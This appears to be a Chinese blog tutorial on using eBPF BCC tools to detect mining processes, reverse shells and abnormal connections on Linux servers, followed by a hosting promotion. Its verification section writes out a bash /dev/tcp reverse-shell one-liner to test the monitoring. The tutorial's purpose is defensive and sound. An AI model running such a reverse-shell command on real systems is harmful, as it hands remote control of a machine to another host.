eBPF技术服务器安全检测教程

为什么需要 eBPF 做服务器安全检测

传统安全工具(如防火墙、杀软)往往依赖内核模块或系统钩子,要么效率低,要么难以监控细粒度事件。
eBPF(扩展 Berkeley 包过滤器)让你能安全地在 Linux 内核中运行沙箱程序,对系统调用、网络包、文件操作等进行无侵入实时检测。
它不会显著拖慢服务器性能,却能发现挖矿进程、反弹 Shell、异常外连等威胁。

动手前的准备工作

检查内核版本

eBPF 需要 Linux 4.4+(推荐 5.x 以上)。
用以下命令查看:

uname -r

如果版本太低,请考虑升级内核(CentOS 8/Ubuntu 20.04 默认已满足)。

安装 BCC 工具集

BCC(BPF Compiler Collection)是最易用的 eBPF 工具包,提供多条零基础也能用的命令。

  • Ubuntu/Debian
  sudo apt update && sudo apt install bpfcc-tools linux-headers-$(uname -r)
  • CentOS/RHEL 8+
  sudo dnf install bcc-tools kernel-devel

安装后,所有工具位于 /usr/share/bcc/tools/(可加入 PATH 或直接使用绝对路径)。

核心实战:监控异常进程和网络连接

1. 发现瞬间运行的高危进程

挖矿脚本、木马常以毫秒级执行后退出。
execsnoop 可捕获所有新创建进程:

sudo /usr/share/bcc/tools/execsnoop

输出每秒刷新,包含 PID、命令和参数。
若出现 python3 -c "..."curl 下载脚本、wget 等异常命令,需立即追踪其父进程。

2. 监控异常 TCP 连接

tcplife 可列出所有 TCP 连接的生命周期:

sudo /usr/share/bcc/tools/tcplife

重点关注:

  • 连接指向国外陌生 IP(如 45.33.xx.xx)
  • 目标端口为 4444、5555 等非标准端口
  • 服务端(本地端口 > 1024 的连接尤其可疑)

3. 检测文件被篡改

filetop 按读写频率列出打开的文件:

sudo /usr/share/bcc/tools/filetop -C

/bin/bash/etc/cron.d/ 下文件频繁被写,可能正在被植入后门。

4. 直接使用 eBPF 安全检测脚本

BCC 内置 tcpconnectopensnoopbiolatency 等 100+ 工具。
常用组合:

# 监控所有 DNS 查询(检测域名劫持)
sudo /usr/share/bcc/tools/gethostlatency

# 监控文件打开操作(检测敏感文件读取)
sudo /usr/share/bcc/tools/opensnoop

避坑指南:这几点新手最容易翻车

  1. 权限不足:所有 eBPF 工具必须 sudo 运行,普通用户无法加载内核程序。
  2. 内核头文件缺失:安装 bcc 后若报错 "cannot find vmlinux",需安装对应内核版本的 kernel-devellinux-headers
  3. 输出过于密集:生产环境可配合 grep 过滤关键进程:sudo execsnoop | grep -i mine
  4. 性能影响:长时间运行 execsnoop 在高并发服务器上可能产生微秒级延迟,建议只在排查时开启。
  5. 工具不兼容:部分老旧 BCC 版本不支持新内核,升级 BCC 到最新版即可。

如何验证 eBPF 安全检测的效果

为了确认监控生效,可以模拟一次恶意动作进行验证。

模拟反向 Shell(仅测试环境)

在另一个终端运行:

bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 &

此时 execsnoop 应显示 bash 发起新连接,tcplife 会展示源IP、目标IP和端口 4444 的连接记录。

验证结果

eBPF 工具能实时捕捉到以下信息:

  • 进程名:bash
  • 命令行参数-i 和重定向符号
  • 连接对端:IP 和端口

如果看到类似输出,说明你的 eBPF 安全检测体系已经就绪。

写在最后

eBPF 技术让服务器安全检测变得轻量而强大,零基础也能通过 BCC 工具快速上手。
建议先从 execsnooptcplife 入手,逐步扩展监控面。一定要先在测试环境模拟威胁,确认工具配置无误后再投用到生产。
遇到报错时,优先检查内核版本和依赖包,多数问题都能用 sudo apt upgrade 解决。
掌握这套方法后,你的服务器又多了一层实时防线。

分享到:
上一篇
K8s监控告警规则自定义:从零编写你的第一条告警
下一篇
Linux内核漏洞紧急修补步骤
1
系统公告

高考专属福利来袭|凭准考证免费领香港 CN2 云服务器

值高考落幕之际,泽御云开启考生专属回馈 + 产品限时特惠双重活动,助力学子暑期学习建站 高考 考生专属福利 全体应届高考生,凭高考准考证即可免费申领【香港 CN2 轻量云服务器,4 核 4G AMD 处理器】,免费使用周期 30 天,可用于搭建个人站点、编程实操、技术实训,祝各位考生金榜题名,前程似锦! 泽御云资质齐全合规自营机房,线路覆盖香港 CN2、国内 BGP、内蒙电信、美国精品线路,售后全天候技术支持。 官方网站:www.zeyuyun.com,活动限时有效,优惠逾期不再保留。
服务中心
客服
在线客服
24小时为您服务
咨询
联系我们
联系我们,为您的业务提供专属服务。
24/7 技术支持
如果您遇到寻求进一步的帮助,请过工单与我们进行联系。
24/7 即时支持
泽御云
售前客服
泽御云
泽御云
售后客服
泽御云
技术支持
评价
您对当前页面的整体感受是否满意?
😞
非常不满意
😕
不满意
😐
一般
🙂
满意
😊
非常满意